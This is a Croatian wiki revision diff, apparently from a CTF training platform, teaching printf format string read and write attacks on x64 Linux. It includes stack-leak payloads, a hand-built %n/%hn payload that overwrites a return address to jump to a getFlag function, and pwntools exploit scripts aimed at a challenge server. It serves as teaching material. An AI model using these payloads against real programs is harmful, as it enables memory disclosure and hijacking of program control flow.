User Tools

Site Tools


string_format_read

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
string_format_read [2025/02/06 21:14] – sitno mbunicstring_format_read [2025/12/01 11:40] (current) – external edit 127.0.0.1
Line 1: Line 1:
 ====String format read/write==== ====String format read/write====
  
-Format string read napad iskorištava dinamiku funkcija s formatiranim stringovima i načina na koji se argumenti dodjeljuju tim funkcijama. +Format string read napad iskorištava dinamiku funkcija s formatiranim stringovima i načina na koji se argumenti dodjeljuju tim funkcijama. Moguć je onda, kad ranjiva aplikacija dozvoljava korisniku-napadaču da definira format string naredbe "printf" ili druge naredbe koja bi koristila format string
-Uzmimo naprimjer funkciju printf:+Uzmimo na primjer funkciju printf:
  printf("Hello %s, nice to meet you!", username);  printf("Hello %s, nice to meet you!", username);
-%s označava „placeholder” za string varijablu koji će printf ispuniti zadanim argumentom username i zatim ispisati rezultat.  +%s označava „placeholder” za string varijablu koji će printf ispuniti zadanim argumentom username i zatim ispisati rezultat. Interno, printf prati svaki placeholder (npr. %s, %d, %x, %p ) i očekuje da je svaki potkrijepljen dodatnim argumentom kako bi ga popunio. Npr.
-Interno, printf prati svaki placeholder (npr. %s, %d, %x, %p ...) i očekuje da je svaki potkrijepljen dodatnim argumentom kako bi ga popunio. +
-Npr. +
     printf("%s %s\n", first_name, last_name)      printf("%s %s\n", first_name, last_name) 
 mora sadržavati 2 dodatna argumenta uz početni string (dakle first_name i last_name) kako bi ispravno radio. mora sadržavati 2 dodatna argumenta uz početni string (dakle first_name i last_name) kako bi ispravno radio.
Line 12: Line 10:
 Ranjivost: Ranjivost:
 Ako programer definira ispis varijable uz pomoć formatirane funkcije bez da zada ispravan broj argumenta, formatirana  Ako programer definira ispis varijable uz pomoć formatirane funkcije bez da zada ispravan broj argumenta, formatirana 
-funkcija ne može razaznati radi li se o grešci ili ne zbog čega uzima argumente registara sačuvane na stogu ispod base pointera ili sa stoga iznad base pointera +funkcija ne može razaznati radi li se o grešci ili ne zbog čega će uzeti onoliko argumenata koliko je definirano u format stringu. Prvih pet uzima iz registara sačuvanih na stogu ispod base pointera, a daljnje argumente uzima sa stoga iznad base pointera (argumenti 7 itd...) kako bi popunila zadane formate.   
-(argumenti 7 itd...) kako bi popunila zadane formate.  +
 Primjer: Primjer:
  printf(„%p %p”);  printf(„%p %p”);
-Ispisat će se sadržaji argumenata 2 i 3 (koji zapravo ne postoje, već će se uzeti s tih pozicija u memoriji: x64 konvencija, sami format string je sadržan unutar 1. argumenta)  +Ispisat će se sadržaji argumenata 2 i 3 (koji zapravo ne postoje, već će se uzeti s tih pozicija u memoriji: x64 konvencija, sam format string je sadržan unutar 1. argumenta) u formatu pointera:
-u formatu pointera:+
  printf(format); //gdje je format definiran kao char *format = „%p %p”  printf(format); //gdje je format definiran kao char *format = „%p %p”
 Ekvivalent gornjem primjeru, ispisat će se sadržaj u memoriji koji bi sadržavao argumente na 2 i 3 u formatu pointera. Ekvivalent gornjem primjeru, ispisat će se sadržaj u memoriji koji bi sadržavao argumente na 2 i 3 u formatu pointera.
 X64 konvencija na linuxu definira da se argumenti za funkcije nalaze redom:  rdi, rsi, rdx, rcx, r8, r9 zatim stog (ako je potrebno više od 6 argumenata) prije poziva. X64 konvencija na linuxu definira da se argumenti za funkcije nalaze redom:  rdi, rsi, rdx, rcx, r8, r9 zatim stog (ako je potrebno više od 6 argumenata) prije poziva.
-Unutar funkcije registri koji sadrže argumente pushaju se na stog nakon lokalnih varijabli.+Unutar funkcijeregistri koji sadrže argumente pushaju se na stog nakon lokalnih varijabli.
 Zbog toga format string read napad omogućava napadaču da čita proizvoljan broj podataka sa stoga ako je korisniku dopušteno definiranje format stringa. Zbog toga format string read napad omogućava napadaču da čita proizvoljan broj podataka sa stoga ako je korisniku dopušteno definiranje format stringa.
 Maksimalan broj argumenata koje registri mogu sadržavati jest 6. Maksimalan broj argumenata koje registri mogu sadržavati jest 6.
-RDI (prvi registar) sadrži sami format stringa („%p.%p....”). +RDI (prvi registar) sadrži sam format string („%p.%p....”). 
-To znači da ako se unese veći broj formata od 5, formatirana funkcija uzme 5 argumenata iz preostalih pozicija u memoriji namijenjene za argumente te ostale  +To znači da ako se format string definira veći broj argumenata od 5, formatirana funkcija uzme 5 argumenata iz preostalih pozicija u memoriji namijenjene za argumente, a ostale argumente će uzeti sa stoga koji prethode base pointeru.
-argumente sa stoga koji prethode base pointeru.+
  
 ====Kupon==== ====Kupon====
Line 49: Line 45:
  printf(input)  printf(input)
  
-nalazi se ranjivost string format reada. Unutar polja kupon veličine 48 bajtova nalazi se flag. Dakle potrebno je ispisati vrijednost flag-a sa stoga uz pomoć +nalazi se ranjivost string format reada. Unutar polja kupon veličine 48 bajtova nalazi se flag. Dakle potrebno je ispisati vrijednost flag-a sa stoga uz pomoć napada string format read. Zbog poretka definiranja varijabli kupon pa input, na stogu će na nižoj adresi biti polje kupon, a zatim polje input (ovo ponekad nije istina zbog optimizacije stoga, no u ovom slučaju poredak je sačuvan, za provjeru uvijek je moguće ručno pregledati stog uz pomoć gdb-a). 
-string format reada. Zbog poretka definiranja varijabli kupon pa input, na samom stogu će na nižoj adresi biti polje kupon, a zatim polje input (ovo ponekad nije istina + 
-zbog optimizacije stoga, no u ovom slučaju poredak je sačuvan, za provjeru uvijek je moguće ručno pregledati stog uz pomoć gdb-a). +To znači da će se nakon poziva nove funkcije polje kupon nalaziti na adresama iznad postavljene return adrese te nove funkcije. Ta područja su u x64 calling konvenciji namijenjena argumentima 7 pa nadalje. Dakle, ako u polje input upišemo //%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p// prvih 5 //%p// će ispisati memorije unutar printf funkcije namijenjene 
-To znači da će se nakon poziva nove funkcije polje kupon nalaziti na adresama iznad postavljenje return adrese te nove funkcije. Ta područja su u x64 calling konvenciji  +
-namijenjena argumentima 7 pa nadalje. Dakle, ako u polje input upišemo //%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p// prvih 5 //%p// će ispisati memorije unutar printf funkcije namijenjene +
 za argumente 2-6, a preostalih 6 //%p// će ispisati sadržaj cijelog polja kupon (jer mu je veličina 48 bajtova, a jedan pointer je veličine 8 bajtova). za argumente 2-6, a preostalih 6 //%p// će ispisati sadržaj cijelog polja kupon (jer mu je veličina 48 bajtova, a jedan pointer je veličine 8 bajtova).
 Nakon ispisa danih adresa od 6. pointera pa nadalje jest sadržaj polja kupon. Taj sadržaj je potrebno provući kroz hex converter u tekst i time će se dobiti sadržaj polja kupon. Nakon ispisa danih adresa od 6. pointera pa nadalje jest sadržaj polja kupon. Taj sadržaj je potrebno provući kroz hex converter u tekst i time će se dobiti sadržaj polja kupon.
Line 59: Line 53:
 ----- -----
 Napomena 1: Napomena 1:
-Zbog little endian zapisa, %p format očekuje da su na nižim adresama bajtovi manjih potencija, a sami zapis stringa je poredan od niže adrese prema višoj zbog čega +Zbog little endian zapisa, %p format očekuje da su na nižim adresama bajtovi manjih potencija, a sami zapis stringa je poredan od niže adrese prema višoj zbog čega je svaki bajt stringa unutar pointera ispisan obrnutim redoslijedom. Posljedično tome završetak stringa (opisan s newline \n tj. \x0a u hex formatu) "proguta" 0 u ispisu pointera. 
-je svaki bajt stringa unutar pointera ispisan obrnutim redoslijedom. Posljedično tome završetak stringa (opisan s newline \n tj. \x0a u hex formatu) "proguta" 0 u ispisu pointera. +Recimo da je ispis nekog pointera 0xa414141. Provlačenjem kroz konverter konvertirale bi se vrijednosti \xa4 \x14 \x14 \x10 što nije ispravno. Potrebno je nadodati 0 na početak danog 
-Recimo da je ispis nekog pointer 0xa414141. Provlačenjem kroz konverter konvertirale bi se vrijednosti \xa4 \x14 \x14 \x10 što nije ispravno. Potrebno je nadodati 0 na početak danog +
 pointera kako bi se ispisale ispravne vrijednosti: \x0a \x41 \x41 \x41. pointera kako bi se ispisale ispravne vrijednosti: \x0a \x41 \x41 \x41.
  
Line 132: Line 125:
  
 Prva adresa koja tome odgovara je na offsetu 20 od vrha stacka (tj. rsp-a) prikazano crvenom strelicom.  Prva adresa koja tome odgovara je na offsetu 20 od vrha stacka (tj. rsp-a) prikazano crvenom strelicom. 
-Jedan offset odgovara 8 bajtova pošto je to zadana veličina argumenta //%p//. Međutim za dohvatiti tu adresu format string read napadom potrebno je upisati //%25$p//, a ne //%20$p// zato što se po Linux call konvenciji prvih 5 argumenata uvijek nalaze u registrima. Stoga, tek nakon 5. argumenta se vrijednost krenu uzimati s vrha stoga.+Jedan offset odgovara 8 bajtova pošto je to zadana veličina argumenta //%p//. Međutim za dohvatiti tu adresu format string read napadom potrebno je upisati //%25$p//, a ne //%20$p// zato što se po Linux call konvenciji prvih 5 argumenata uvijek nalaze u registrima. Stoga, tek nakon 5. argumenta se vrijednosti počnu uzimati s vrha stoga.
  
 Nakon toga je potrebno kroz debugger vidjeti koliki je offset od adrese koje smo dobili do pohranjene //return// adrese (pohranjenu //return// adresu možemo vidjeti npr. naredbom telescope $rbp). Nakon toga je potrebno kroz debugger vidjeti koliki je offset od adrese koje smo dobili do pohranjene //return// adrese (pohranjenu //return// adresu možemo vidjeti npr. naredbom telescope $rbp).
 +
 +Zatim je potrebno izmijeniti return adresu kako bi se skočilo na adresu getFlag funkcije.
 +
 +Funkcija //printf// nudi funkcionalnost pisanja pomoću %n //placeholdera//. Placeholder "%n" kaže //printf// funkciji da zapiše broj znakova koji su se ispisali u tom //printf// pozivu na adresu argumenta.
 +Pomoću placeholdera //%n// se može upisati integer vrijednost (4 bajta), a pomoću placeholdera //%hn// short vrijednost (2 bajta).
 +
 +Primjerice poziv <file>printf("test%n", &val);</file> bi zapisao broj 4 u varijablu val zato što je printf ispisao 4 znaka do //placeholdera// %n.
 +
 +
 +U zadatku moramo napisati payload koji će zapisati adresu //get_flag// funkcije (0x00000000004011f6 - dobiveno pregledom memorije) na pohranjenu //return// adresu.
 +
 +Budući da pomoću "%n" možemo zapisati 4 bajta, a adresa se sastoji od 8 bajtova, ne može se zapisati cijela odjednom. Nadalje, praktično je podijeliti adrese na manje dijelove koji se mogu zapisivati pomoću placeholdera "%hn" (lakše je ispisati 0x40 znakova pa 0x11f6 znakova nego ispisati 0x4011f6 znakova).
 +
 +Podijelimo 0x00000000004011f6 na dijelove:
 +00000000 -> mora se zapisati na stack_return_addr+4 (return adrese su pohranjene u little-endian formatu, a stack raste prema nižim adresama) -> lako ga je zapisati pomoću "%n" placeholdera budući da je to samo 0 u integer zapisu
 +0040 -> mora se zapisati na stack_return_addr+2, pomoću "%hn" placeholdera
 +11f6 - mora se zapisati na stack_return_addr, pomoću "%hn" placeholdera
 +
 +Sastavimo za početak u pythonu samo payload za zapisivanje 00000000 na p64(stack_return_addr+4) - p64 je funkcija iz biblioteke //pwntools// za pretvaranje integera u format little-endian 64-bitne adrese. 
    
-        #0x00000000004011f6 - adresa getFlag funkcije+<file>"%10$n"+("a"*27)+p64(stack_return_addr + 4)</file>
  
-Zadnje sto je potrebno napraviti jest izmijeniti return adresu kako bi se skočilo na adresu getFlag funkcije. +%10$znači -  upišbroj znakova koji se do sad ispisao u ovom printf pozivu (nula) u integer formatu na adresu koja je deseti argument funkcije printf
-Printf nudi funkcionalnost pisanja s pomoću %n placeholdera. Za argument prima adresu na koju pišbroj ispisanih  +
-karaktera do tog trenutka.+
  
-Primjer takvog payloada jest: "%10$n%64x%11$hn%4534x%12$hnaaaaa+ stack_ret_addr+4 + stack_ret_addr+2 + stack_ret_addr.+Koji je deseti argument funkcije printf? Prvih pet argumenata su pohranjeni u registrima, dok se ostali uzimaju sa stoga. Sam payload string će se nalaziti na stogu, //%10$n// zajedno s 27 znakova "a" je 32 bajta, "%n" uzima 8-bajtne (64-bitne), pa se tako "%10$ni 27 znaka "a" mogu interpretirati kao 6-9. argument funkcije //printf//. Nakon tog slijedi adresa koja će se interpretirati kao 10. argument i na koju će se zapisati vrijednost.
  
-%n jest upis integer vrijednosti (4 bajta), a %hn shorta (2 bajta).  +Sada bismo trebali zapisati vrijednost "0x40" na p64(stack_ret_addr + 2). Kako bi to postiglifunkcija //printf// mora ispisati 0x40 (64znakovaTo možemo učiniti placeholderom "%64x" što ispisuje hex vrijednost popunjenu razmacima tako da joj je duljina 64
-Dijelovi payloada su sljedeći: %10$n, %64x, %11$hn, %4534x, %12$hn, aaaaa i stack_ret adrese.+
  
-Cilj jest upisati adresu getFlag funkcije, 0x00000000004011f6. Format adresa je u LSB obliku (manje vrijednosti dolaze prije). +Naš payload bi postao <file>"%10$n%64x%11$hn"+("a"*15)+p64(stack_ret_addr+4)+p64(stack_ret_addr+2)</file>
-Prvo se upisuje vrijednost 0 na gornja 4 bajta s prvim dijelom payloada, %10$n. To tad printf nije imao nikakav ispis zbog čega se upisuje 0. +
-Zatim se uz pomoć %64x ispisuju 64 razmaka. 64 u hex obliku jest 0x40. Ta vrijednost se zatim upisuje s %11$hn (%hn, dakle 2 bajta).  +
-Na kraju, ispisuje se dodatnih 4534 razmaka (plus prethodnih 64kako bi se dobila vrijednost 0x11f6 za sveukupni broj ispisanih znakova. Ta vrijednost se upisuje s %12$hn. +
  
-Dakle, redom su upisane vrijednosti 0x00000000, 0x0040 i 0x11f6 na adrese stack_ret_addr+4, stack_ret_addr+2 i stack_ret_addr što odgovara +Zatim je potrebno upisati 0x11f6 na p64(stack_ret_addr). Kako bi to postigli funkcija //printf// mora ispisati ukupno 0x11f6 (4598znakovaVeć su ispisana 64 znakapa moramo ispisati još 4534, što možemo učiniti placeholderom "%4534x".
-adresi getFlag funkcije u LSB obliku. Kako bi se ispravni argumenti uzimali s vrha potrebno je napraviti ispravan alignment.  +
-U ovom primjeru, duljina stringa +
-"%10$n%64x%11$hn%4534x%12$hnaaaaa" jest 32 bajta. Jer %n i %hn uzimaju pointere ako argumente, na samom stacku se nalaze 4 argumenta samo kroz payload. Uzimajući +
-u obzir 5 argumenata danih kroz registre, stack_ret_addr+4 argument se nalaze točno na poziciji 10. argumenta. Zbog toga %10$n uzima 10. argument (isto vrijedi za ostale). +
-To jest funkcija niza "aaaaa" na kraju stringasluži za poravnavanje. Generalno ga je lakše stavljat na kraj niza kako bi računica za broj ispisanih znakova bila lakša  +
-(jer ispis tih znakova dolazi nakon upisivanja kroz %n ili %hn).+
  
-Za ručno sastavljanja payloada, najprije se odrede dijelovi adrese i poredaju rastući. Najviših +Tako naš payload postaje: 
-bajta adrese getFlag funkcije su 0, zbog čega taj dio dolazi kao prvi argument. Ovisno o payloadu, poredak se može izmijeniti. Također, dobra je praksa +<file>"%10$n%64x%11$hn%4534x%12$hnaaaaa" + p64(stack_ret_addr+4) + p64(stack_ret_addr+2) + p64(stack_ret_addr)</file>.
-podijeliti vrijednosti na short umjesto int jer ispis razmaka traje kraće. Umjesto ispisivanja 0x004011f6 znakova ispiše se najprije 0x40 i zatim 0x11f6.+
  
-Jednom kada se sastavi kostur payloada (poredak argumenata, ispis razmaka s %x i upis vrijednosti kroz %hn ili %n) potrebno je igrati se s poravnanjem. Odredi se pozicija 
-prvog argumenta koji se nalazi iza trenutačne duljine stringa, npr. ako je duljina trenutačnog stringa 34 sljedeći višekratnih broja 8 jest 40 što znači da će prvi argument biti 
-na poziciji 11 itd... 
  
-Napomena, placeholder %nx gdje je n neki broj ispisuje hex vrijednost duljine n. Ako je duljina hex vrijednosti manja od n prazna mjesta će se popuniti razmakom. Ako je veća, +Payload kojim možemo overwriteati return adresu adresom //get_flag// funkcije (0x00000000004011f6 - dobiveno pregledom memorijejest 
-(jer je n manji od 8ispis će biti dulji od n. Generalno će n-ovi će biti brojevi veći od 8 pa se ne treba brinuti o tome, no ako nije to može utjecati na payload+<file>"%10$n%64x%11$hn%4534x%12$hnaaaaa" + p64(stack_ret_addr+4) + p64(stack_ret_addr+2) + p64(stack_ret_addr)</file>.
  
 +Exploit kod
 +<file>
 +from pwn import *
  
 +p = remote("chal.platforma.hacknite.hr",13018)
 +
 +p.recvuntil(b"Primjer 1) 523\n")
 +
 +offset = 0x110 #dobiveno pregledom memorije
 +
 +payload1 = b"%25$p" #payload za dobivanje pohranjene return adrese
 +
 +p.sendline(payload1)
 +
 +stack_ret_addr = int(re.findall(b"0x.*",p.recvline())[0],16)-offset
 +
 +#0x00000000004011f6 - adresa getFlag - dobiveno pregledom memorije, binary nije position-independent executable pa će ova vrijednost uvijek biti ista
 +
 +payload2 = b"%10$n%64x%11$hn%4534x%12$hnaaaaa" + p64(stack_ret_addr+4) + p64(stack_ret_addr+2) + p64(stack_ret_addr)
 +
 +p.sendline(payload2)
 +p.sendline(b"%c")
 +
 +print(p.recvall())
 +
 +
 +
 +</file>
  
 ===Pwntools=== ===Pwntools===
Line 177: Line 200:
 {{pwntools_fmt_str.png}} {{pwntools_fmt_str.png}}
  
-Automatiziranje exploita se može postići uz pomoć pwntoolsa. Objektu FmtStr se proslijedi funkcija za slanje i primanje payloada. Zatim se zabilježi na koju adresu +Automatiziranje exploita se može postići uz pomoć pwntoolsa. Iako postoje 2 načina automatiziranja (jedan s FmtStr objektom, a drugi s fmtstr_payload funkcijom), ovdje će se prikazati samo jedan povezan s generiranjem payloada uz pomoć fmtstr_payload funkcije.  
-se želi upisati proizvoljna vrijednost i na kraju se funkcija izvrši.+ 
 +Funkcija fmtstr_payload kao argumente prima offset do prvog kontroliranog argumenta printf funkcije dictonary u obliku {adresa:vrijednost}. 
 + 
 +<code> 
 +from pwn import * 
 + 
 +context.arch="amd64" 
 + 
 +p = process("./format"
 + 
 +ret_addr = 0x4011f6 
 + 
 +p.recvuntil(b"Primjer 1) 523\n"
 +p.sendline(b"%25$p"
 +stack_ret_addr = int(re.findall(b"0x.*",p.recvline())[0],16)-0x110 
 + 
 +payload = fmtstr_payload(6,{stack_ret_addr:ret_addr}) 
 +p.sendline(payload) 
 + 
 +p.sendline(b"%c")
  
-Na primjeru zadatka, slanje zadnjeg posljednjeg payloada bi izgledao na sljedeći način:+print(p.recvall()) 
 +</code>
  
 +U odnosu na prijašnji eksploit, sve je identično osim generiranja samog payloada.
  
-        format_string = FmtStr (execute_fmt=send_payload) +Napomena:  
-        format_string.write(stack_ret_addr,0x00000000004011f6) +Argument offseta fmtstr_payload funkcije jest 6 zato što je 6. argument prvi argument na stacku
-        format_string.execute_writes()+Prvih 5 se nalazi u registru i napadač nema kontrolu nad njima
  
  
-Uz automatizirano exploitanje, mogu se kreirati payloadi itd... Više se može pročitati [[https://docs.pwntools.com/en/dev/fmtstr.html|ovdje]].+Fmtstr_payload funkciji se može zadati još dodatnih argumenata koji su korisni pri eksploataciji... Više se može pročitati [[https://docs.pwntools.com/en/dev/fmtstr.html|ovdje]].
  
  
string_format_read.1738876492.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki